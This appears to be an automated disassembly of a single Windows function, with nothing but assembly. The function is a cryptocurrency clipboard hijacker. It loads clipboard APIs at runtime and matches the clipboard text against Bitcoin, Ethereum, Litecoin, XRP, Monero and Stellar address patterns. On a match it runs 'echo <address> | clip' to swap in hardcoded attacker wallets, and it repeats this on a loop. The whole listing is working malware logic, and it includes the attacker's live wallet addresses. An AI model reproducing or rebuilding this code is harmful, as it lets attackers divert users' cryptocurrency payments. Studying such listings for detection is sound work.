Function at 0x140015540
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1402d1ba8]
xor rax, rsp
mov qword [rbp + 0x170], rax
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx r15d, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
nop dword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r13, rax
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x130], rax
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x138], rax
test r13, r13
je 0x14001569f
test rax, rax
je 0x14001569f
lea rdx, str.OpenClipboard
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov qword [rbp + 0x140], rax
lea rdx, str.CloseClipboard
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x148], rax
lea rdx, str.IsClipboardFormatAvailable
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x150], rax
lea rdx, str.GetClipboardData
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x158], rax
lea rdx, str.GlobalLock
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x160], rax
lea rdx, str.GlobalUnlock
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x168], rax
jmp 0x1400156a6
mov r13, qword [rbp + 0x140]
test r13, r13
je 0x1400157b8
cmp qword [rbp + 0x150], 0
je 0x1400157b8
cmp qword [rbp + 0x158], 0
je 0x1400157b8
cmp qword [rbp + 0x148], 0
je 0x1400157b8
xor ecx, ecx
call r13
test eax, eax
je 0x1400157b8
mov ecx, 1
call qword [rbp + 0x150]
test eax, eax
je 0x1400157b2
mov ecx, 1
call qword [rbp + 0x158]
test rax, rax
je 0x1400157b2
mov rcx, rax
call qword [rbp + 0x160]
mov r13, rax
test rax, rax
je 0x1400157b2
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor eax, eax
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + r13], al
jne 0x140015743
mov rdx, r13
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
mov rcx, r13
call qword [rbp + 0x168]
call qword [rbp + 0x148]
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x118], xmm1
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
lea rcx, [rbp + 0xc0]
call fcn.140029b80
jmp 0x1400157e9
call qword [rbp + 0x148]
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xor eax, eax
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], rax
xor r8d, r8d
lea rdx, [0x14028650b]
lea rcx, [rbp + 0x108]
call fcn.14002ec50
nop
call fcn.1401c4af4
mov r13, rax
call fcn.1401c4ad8
cmp r13, 0x989680
jne 0x140015805
imul rax, rax, 0x64
jmp 0x140015820
cqo
idiv r13
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv r13
add rax, rcx
movabs rcx, 0x7ffffffffa0a1eff
cmp rax, rcx
jge 0x140015837
add rax, 0x5f5e100
jmp 0x140015841
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
call fcn.1400321a0
cmp qword [rbp + 0x118], 0
je 0x14001629b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str._bc1_13___a_zA_HJ_NP_Z0_9_
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x1400158f9
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400158f9
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x140015a15
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x2a]
lea rdx, str.bc1q6uyzytnnqukdzes59ql5aktd40vwgattvcqh93
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x14001633f
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0x20]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call fcn.1401fded0
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str.0x_0_9a_fA_F_40
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140015ab0
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140015ab0
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x140015bc4
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x2a]
lea rdx, str.0x8d1656171b166f0d3F101EB0FD1b58b2E1626130
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x140016345
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, dil
lea rcx, [rbp + 0x40]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0x40]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call fcn.1401fded0
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp + 0x40]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str.L_a_km_zA_HJ_NP_Z1_9_26_33
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140015c5f
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140015c5f
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x140015d73
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x28]
lea rdx, str.1qklamzljwekvwngd83rut25kj4n6n79mur6fa87
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x14001634b
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, sil
lea rcx, [rbp + 0x60]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0x60]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
call fcn.1401fded0
lea rcx, [rbp - 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str.r_1_9A_HJ_NP_Za_km_z_25_33
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140015e0e
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140015e0e
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x140015f2b
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x22]
lea rdx, str.rHR7JQbkkxd5SEb2sABgmtRbt7KQoSBwS9
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x140016351
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, r12b
lea rcx, [rbp + 0x80]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0x80]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
call fcn.1401fded0
lea rcx, [rbp - 0x40]
call fcn.140029b80
nop
lea rcx, [rbp + 0x80]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str.4_0_9AB__123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_93
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140015fc6
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140015fc6
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x1400160e3
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x5f]
lea rdx, str.45FsyjD6JrD2BjAJbfvLnaBTqF24WjRFGZeL79nFkqQMAQwCupPabJcgq7CuGQycvr6HPnnVpq45vXXodn9htq3QUHq5RgJ
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x140016357
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, r14b
lea rcx, [rbp + 0xa0]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0xa0]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
call fcn.1401fded0
lea rcx, [rbp - 0x20]
call fcn.140029b80
nop
lea rcx, [rbp + 0xa0]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
lea rdx, str.G_A_Z0_9_55_
lea rcx, [rbp + 0xe0]
call fcn.140022780
nop
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x118]
add rdx, rcx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rbp + 0xe0]
call fcn.140031fe0
movzx r13d, al
lea rcx, [rbp + 0xe0]
call fcn.140028aa0
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x14001617e
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14001617e
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
test r13b, r13b
je 0x14001629b
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], r13
lea r8d, [r13 + 0x38]
lea rdx, str.GDUEA6AQRPH5AJCK6L45XX5RRUFLFJUJ5JXFRMQE7IIDJQQAC4WVROXT
lea rcx, [rbp + 0xc0]
call fcn.14002ec50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xd0]
sub rax, rcx
cmp rax, 5
jb 0x14001635d
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.echo
lea r8, [rbp + 0xc0]
movzx edx, r15b
lea rcx, [rbp + 0xe0]
call fcn.1400309b0
nop
lea r8d, [r13 + 7]
lea rdx, str.__clip
lea rcx, [rbp + 0xe0]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call fcn.1401fded0
lea rcx, [rbp]
call fcn.140029b80
nop
lea rcx, [rbp + 0xe0]
call fcn.140029b80
nop
lea rcx, [rbp + 0xc0]
call fcn.140029b80
call fcn.1401c4af4
mov r13, rax
call fcn.1401c4ad8
cmp r13, 0x989680
jne 0x1400162b7
imul rax, rax, 0x64
jmp 0x1400162d2
cqo
idiv r13
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv r13
add rax, rcx
movabs rcx, 0x7fffffffc46535ff
cmp rax, rcx
jge 0x1400162e9
add rax, 0x3b9aca00
jmp 0x1400162f3
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
call fcn.1400321a0
nop
lea rcx, [rbp + 0x108]
call fcn.140029b80
nop
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140016323
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x1400155a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400155a0
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
int3